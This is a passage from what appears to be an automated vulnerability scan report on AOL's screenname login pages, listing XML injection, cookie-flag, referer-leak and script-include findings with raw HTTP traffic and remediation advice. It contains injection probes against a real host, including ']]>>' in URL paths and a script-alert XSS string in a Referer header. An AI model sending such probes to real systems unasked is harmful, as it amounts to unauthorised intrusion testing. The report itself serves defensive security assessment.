locale=us&offerId=newmail-en-us-v2&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2b4142</script><a>dc3adabdce0&authLev=0&sitedomain=sns.webmail.aol.com&lang=en');
</script>
...[SNIP]...

3. XML injection  previous  next
There are 2 instances of this issue:

Issue background

XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.

This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.

Issue remediation

The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: &lt; and &gt;.


3.1. http://my.screenname.aol.com/_cqr/login/login.psp [REST URL parameter 1]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://my.screenname.aol.com
Path:   /_cqr/login/login.psp

Issue detail

The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /_cqr]]>>/login/login.psp HTTP/1.1
Host: my.screenname.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SNS_LDC=1&-&-&1299520500&0&1299520397&0; s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]; SNS_SC=diAxLjAga2lkIDEgeWxTODAzelJrT1NSZHNwNVVEd1RXUlhlbElNPQ%3D%3D-d139qXkm6sS1jxx2m3cvJwZMNhZC3y8LmawkmdajtdKn8m%2FD%2BFO6j3fTiw4QeLkNS0oS2A3%2BkhsL%2Bj1nXFaMvJlp4RxQI%2BS4J%2BTYAb82e7OzoE8e30Q2AfYIhFQzMVLM;

Response

HTTP/1.1 404 Not Found
Date: Tue, 08 Mar 2011 12:10:27 GMT
Server: Apache
Vary: accept-language,accept-charset
Accept-Ranges: bytes
P3P: CP="PHY ONL PRE STA CURi OUR IND"
Keep-Alive: timeout=15, max=436
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Language: en-ca
Content-Length: 970


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
...[SNIP]...

3.2. https://my.screenname.aol.com/badbrowser.psp [REST URL parameter 1]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   https://my.screenname.aol.com
Path:   /badbrowser.psp

Issue detail

The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /badbrowser.psp]]>> HTTP/1.1
Host: my.screenname.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SNS_LDC=1&-&-&1299520500&0&1299520397&0; s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]; SNS_SC=diAxLjAga2lkIDEgeWxTODAzelJrT1NSZHNwNVVEd1RXUlhlbElNPQ%3D%3D-d139qXkm6sS1jxx2m3cvJwZMNhZC3y8LmawkmdajtdKn8m%2FD%2BFO6j3fTiw4QeLkNS0oS2A3%2BkhsL%2Bj1nXFaMvJlp4RxQI%2BS4J%2BTYAb82e7OzoE8e30Q2AfYIhFQzMVLM;

Response

HTTP/1.0 404 Not Found
Date: Tue, 08 Mar 2011 12:10:37 GMT
Server: Apache
Vary: accept-language,accept-charset
Accept-Ranges: bytes
P3P: CP="PHY ONL PRE STA CURi OUR IND"
Connection: close
Content-Type: text/html; charset=utf-8
Content-Language: en-ca


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
...[SNIP]...

4. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://my.screenname.aol.com
Path:   /_cqr/login/login.psp

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /_cqr/login/login.psp?seamless=novl&locale=us&offerId=newmail-en-us-v2&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2&authLev=0&sitedomain=sns.webmail.aol.com&lang=en HTTP/1.1
Host: my.screenname.aol.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 17:46:04 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_SC=diAxLjAga2lkIDEgaExQS1BOM0VSelJoZUIyYWJVMG14NTRMbm5VPQ%3D%3D-ZRcgiJJ1jWfc39FbnAdPEUo94MCW7m8qOUAmzV7APEc4O5OQ5311PeLHqX93Dyd19C%2BAwiVHbwNl3R%2FQtsaoJwySMIJB0z%2F6beS%2F71kkgSU0Z6xNf%2F8YrIBXc9%2BihERR; Domain=my.screenname.aol.com; Path=/
Set-Cookie: SNS_LDC=1&-&-&1299519964&1&1299519964&0; Domain=my.screenname.aol.com; Expires=Wed, 06-Apr-2011 17:46:04 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
ntCoent-Length: 18860
Keep-Alive: timeout=15, max=497
Connection: Keep-Alive
Content-Length: 18860


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
<title>AOL Mail: Simple,
...[SNIP]...
<div id="auth-login">


<form name="AOLLoginForm" method="POST" action="https://my.screenname.aol.com/_cqr/login/login.psp" onsubmit="return validateTab(this);" id="formCreds">
<input type="hidden" name="sitedomain" value="sns.webmail.aol.com">
...[SNIP]...
</label>


<input type="password" name="password" maxlength="39" size="25" tabindex="2" value="" onkeypress="capLock(event, errMsg, 'divCapsWarn', 'pwdId1', 'aol', 2, 40)" id="pwdId1" class="miniinput">    

</div>
...[SNIP]...

5. SSL cookie without secure flag set  previous  next
There are 2 instances of this issue:

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.


5.1. https://my.screenname.aol.com/_cqr/login/login.psp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.screenname.aol.com
Path:   /_cqr/login/login.psp

Issue detail

The following cookies were issued by the application and do not have the secure flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /_cqr/login/login.psp?seamless=novl&locale=us&offerId=newmail-en-us-v2&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2&authLev=0&sitedomain=sns.webmail.aol.com&lang=en HTTP/1.1
Host: my.screenname.aol.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 17:46:04 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_SC=diAxLjAga2lkIDEgaExQS1BOM0VSelJoZUIyYWJVMG14NTRMbm5VPQ%3D%3D-ZRcgiJJ1jWfc39FbnAdPEUo94MCW7m8qOUAmzV7APEc4O5OQ5311PeLHqX93Dyd19C%2BAwiVHbwNl3R%2FQtsaoJwySMIJB0z%2F6beS%2F71kkgSU0Z6xNf%2F8YrIBXc9%2BihERR; Domain=my.screenname.aol.com; Path=/
Set-Cookie: SNS_LDC=1&-&-&1299519964&1&1299519964&0; Domain=my.screenname.aol.com; Expires=Wed, 06-Apr-2011 17:46:04 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
ntCoent-Length: 18860
Keep-Alive: timeout=15, max=497
Connection: Keep-Alive
Content-Length: 18860


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
<title>AOL Mail: Simple,
...[SNIP]...

5.2. https://my.screenname.aol.com/badbrowser.psp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.screenname.aol.com
Path:   /badbrowser.psp

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /badbrowser.psp HTTP/1.1
Host: my.screenname.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SNS_LDC=1&-&-&1299520500&0&1299520397&0; s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]; SNS_SC=diAxLjAga2lkIDEgeWxTODAzelJrT1NSZHNwNVVEd1RXUlhlbElNPQ%3D%3D-d139qXkm6sS1jxx2m3cvJwZMNhZC3y8LmawkmdajtdKn8m%2FD%2BFO6j3fTiw4QeLkNS0oS2A3%2BkhsL%2Bj1nXFaMvJlp4RxQI%2BS4J%2BTYAb82e7OzoE8e30Q2AfYIhFQzMVLM;

Response

HTTP/1.0 200 OK
Date: Tue, 08 Mar 2011 12:10:08 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_LDC=1&-&-&1299520500&0&1299520397&0; Domain=my.screenname.aol.com; Expires=Thu, 07-Apr-2011 12:10:08 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
Content-Length: 2770
Connection: close



...[SNIP]...

6. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.screenname.aol.com
Path:   /_cqr/login/login.psp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /_cqr/login/login.psp?seamless=novl&locale=us&offerId=newmail-en-us-v2&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2&authLev=0&sitedomain=sns.webmail.aol.com&lang=en HTTP/1.1
Host: my.screenname.aol.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 17:46:04 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_SC=diAxLjAga2lkIDEgaExQS1BOM0VSelJoZUIyYWJVMG14NTRMbm5VPQ%3D%3D-ZRcgiJJ1jWfc39FbnAdPEUo94MCW7m8qOUAmzV7APEc4O5OQ5311PeLHqX93Dyd19C%2BAwiVHbwNl3R%2FQtsaoJwySMIJB0z%2F6beS%2F71kkgSU0Z6xNf%2F8YrIBXc9%2BihERR; Domain=my.screenname.aol.com; Path=/
Set-Cookie: SNS_LDC=1&-&-&1299519964&1&1299519964&0; Domain=my.screenname.aol.com; Expires=Wed, 06-Apr-2011 17:46:04 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
ntCoent-Length: 18860
Keep-Alive: timeout=15, max=497
Connection: Keep-Alive
Content-Length: 18860


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
<title>AOL Mail: Simple,
...[SNIP]...
antage of great AOL Mail features such as industry-leading spam and virus protection, anytime-access on your mobile device, flexibility to work with other email clients using IMAP and more."/>
<link rel="stylesheet" type="text/css" media="screen" href="https://s.aolcdn.com/art/registration/snslanding_css.css"/>
<script language="javascript" type="text/javascript" src="https://s.aolcdn.com/art/registration/snslanding_js.js"><!--....--></script>
<link rel="stylesheet" type="text/css" media="screen" href="https://s.aolcdn.com/art/lpages/newmail21.css"/>

<LINK href="https://sns-static.aolcdn.com/sns.v11r21/style/snsMiniStyles.css" rel="stylesheet" type="text/css">
<style type="text/css">
...[SNIP]...
<noscript>
<link rel="stylesheet" type="text/css" href="https://s.aolcdn.com/art/lpages/hdr_err.css"/>
<div id="dvErr">
...[SNIP]...
<div class="p1">
<img alt="" src="https://s.aolcdn.com/art/landingpages/error.gif"/>
<!--....-->
...[SNIP]...
<div class="logoArea">
<img title="Mail logo" class="logo" src="https://s.aolcdn.com/art/lpages/space.gif"/>
<!--....-->
...[SNIP]...
<div class="login">


<SCRIPT LANGUAGE="JavaScript" SRC="https://sns-static.aolcdn.com/sns.v11r21/js/mini.js"></SCRIPT>
...[SNIP]...
</script>


<SCRIPT LANGUAGE="JavaScript" SRC="https://sns-static.aolcdn.com/sns.v11r21/js/AC_OETags.js"></SCRIPT>
<SCRIPT LANGUAGE="JavaScript" SRC="https://sns-static.aolcdn.com/sns.v11r21/js/fs.js"></SCRIPT>
...[SNIP]...
</script>
<script type="text/javascript" src="https://s.aolcdn.com/omniunih.js"></script>
...[SNIP]...

7. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


7.1. https://my.screenname.aol.com/_cqr/login/login.psp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.screenname.aol.com
Path:   /_cqr/login/login.psp

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /_cqr/login/login.psp HTTP/1.1
Host: my.screenname.aol.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]; SNS_SC=diAxLjAga2lkIDEgV1NzL1VyelVOR0FPbjlFUEVLem9qRU5aeS9JPQ%3D%3D-d139qXkm6sS1jxx2m3cvJwZMNhZC3y8LCSxR7AK4yBdbV5gakha9KWdOi0uOKNsWZJmf1K2B2FFsgoMPrFXPH4rg%2BtiZnm7GpdGX6MxRYv7HCqzx9DqrNDsEEDOpAdU7; SNS_LDC=1&-&-&1299520434&0&1299520397&0

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 17:55:02 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_SC=diAxLjAga2lkIDEgL0tuYXFEM3I0QnJZcERxOWxXVmpOWHlIS3IwPQ%3D%3D-d139qXkm6sS1jxx2m3cvJwZMNhZC3y8Lgnz7ENVZ3e%2FDr%2FiwSkbqbZlqJVdHs09BdIK%2FnFx5NutqHTagRXRsdXq1jaDvaZIFJUiHbSiikJBntbxYtP6nXIiGX8lm2UzK; Domain=my.screenname.aol.com; Path=/
Set-Cookie: SNS_LDC=1&-&-&1299520502&0&1299520397&0; Domain=my.screenname.aol.com; Expires=Wed, 06-Apr-2011 17:55:02 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
ntCoent-Length: 18634
Keep-Alive: timeout=15, max=500
Connection: Keep-Alive
Content-Length: 18634


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
<title>Free email address
...[SNIP]...
<link rel="stylesheet" type="text/css" media="screen" href="https://s.aolcdn.com/art/registration/snslanding_css.css"/>
<script language="javascript" type="text/javascript" src="https://s.aolcdn.com/art/registration/snslanding_js.js"><!--....-->
...[SNIP]...
</script>
<script type="text/javascript" src="https://secure.aolhat.com/hat2/webmail_cayman2/jswrite.js"><!--hat jswrite is being included-->
...[SNIP]...
<div class="login">


<SCRIPT LANGUAGE="JavaScript" SRC="https://sns-static.aolcdn.com/sns.v11r21/js/mini.js"></SCRIPT>
...[SNIP]...
</script>


<SCRIPT LANGUAGE="JavaScript" SRC="https://sns-static.aolcdn.com/sns.v11r21/js/AC_OETags.js"></SCRIPT>
<SCRIPT LANGUAGE="JavaScript" SRC="https://sns-static.aolcdn.com/sns.v11r21/js/fs.js"></SCRIPT>
...[SNIP]...
</script>
<script type="text/javascript" src="https://s.aolcdn.com/omniunih.js"></script>
...[SNIP]...
</script>
<script language="javascript" src="https://s.aolcdn.com/art/landing_pages/aolmobileload1.js" type="text/javascript"><!--...-->
...[SNIP]...

7.2. https://my.screenname.aol.com/badbrowser.psp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.screenname.aol.com
Path:   /badbrowser.psp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /badbrowser.psp HTTP/1.1
Host: my.screenname.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SNS_LDC=1&-&-&1299520500&0&1299520397&0; s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]; SNS_SC=diAxLjAga2lkIDEgeWxTODAzelJrT1NSZHNwNVVEd1RXUlhlbElNPQ%3D%3D-d139qXkm6sS1jxx2m3cvJwZMNhZC3y8LmawkmdajtdKn8m%2FD%2BFO6j3fTiw4QeLkNS0oS2A3%2BkhsL%2Bj1nXFaMvJlp4RxQI%2BS4J%2BTYAb82e7OzoE8e30Q2AfYIhFQzMVLM;

Response

HTTP/1.0 200 OK
Date: Tue, 08 Mar 2011 12:10:08 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_LDC=1&-&-&1299520500&0&1299520397&0; Domain=my.screenname.aol.com; Expires=Thu, 07-Apr-2011 12:10:08 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
Content-Length: 2770
Connection: close



...[SNIP]...
</script>
<script type="text/javascript" src="https://s.aolcdn.com/omniunih.js"></script>
...[SNIP]...

8. Cookie without HttpOnly flag set  previous  next
There are 3 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



8.1. http://my.screenname.aol.com/_cqr/login/checkStatus.psp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://my.screenname.aol.com
Path:   /_cqr/login/checkStatus.psp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /_cqr/login/checkStatus.psp HTTP/1.1
Host: my.screenname.aol.com
Proxy-Connection: keep-alive
Referer: http://help.aol.com/help/microsites/search.do?af4cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef2b834d5194=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]; SNS_LDC=1&-&-&1299520397&1&1299520397&0

Response

HTTP/1.1 200 OK
Date: Tue, 08 Mar 2011 13:08:33 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_SC=diAxLjAga2lkIDEgUWtnaFZheXBieUMzVFM2TUwrK29JaTIzd1pRPQ%3D%3D-xwt4pvwxgiNuEXsL62c8YI2ZXtszwMu%2F; Domain=my.screenname.aol.com; Path=/
Set-Cookie: SNS_LDC=1&-&-&1299520397&1&1299520397&0; Domain=my.screenname.aol.com; Expires=Thu, 07-Apr-2011 13:08:33 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
ntCoent-Length: 23
Content-Length: 23


_sns_isLoggedIn=0;


8.2. https://my.screenname.aol.com/_cqr/login/login.psp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.screenname.aol.com
Path:   /_cqr/login/login.psp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /_cqr/login/login.psp?seamless=novl&locale=us&offerId=newmail-en-us-v2&siteState=ver%3A4%7Crt%3ASTANDARD%7Cat%3ASNS%7Cld%3Awebmail.aol.com%7Cuv%3AAOL%7Clc%3Aen-us%7Cmt%3AAOL%7Csnt%3AScreenName%7Csid%3Ae0ad8f5f-07ad-44e6-b7fe-d27ce1fbdfd2&authLev=0&sitedomain=sns.webmail.aol.com&lang=en HTTP/1.1
Host: my.screenname.aol.com
Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26B17114051D1312-60000137800000AA[CE]

Response

HTTP/1.1 200 OK
Date: Mon, 07 Mar 2011 17:46:04 GMT
Pragma: No-cache
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SNS_SC=diAxLjAga2lkIDEgaExQS1BOM0VSelJoZUIyYWJVMG14NTRMbm5VPQ%3D%3D-ZRcgiJJ1jWfc39FbnAdPEUo94MCW7m8qOUAmzV7APEc4O5OQ5311PeLHqX93Dyd19C%2BAwiVHbwNl3R%2FQtsaoJwySMIJB0z%2F6beS%2F71kkgSU0Z6xNf%2F8YrIBXc9%2BihERR; Domain=my.screenname.aol.com; Path=/
Set-Cookie: SNS_LDC=1&-&-&1299519964&1&1299519964&0; Domain=my.screenname.aol.com; Expires=Wed, 06-Apr-2011 17:46:04 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Language: en-US
P3P: CP="PHY ONL PRE STA CURi OUR IND"
ntCoent-Length: 18860
Keep-Alive: timeout=15, max=497
Connection: Keep-Alive
Content-Length: 18860


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xml:lang="en" lang="en">
<head>
<title>AOL Mail: Simple,
...[SNIP]...

8.3. https://my.screenname.aol.com/badbrowser.psp  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://my.screenname.aol.com
Path:   /badbrowser.psp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /badbrowser.psp HTTP/1.1
Host: my.screenname.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
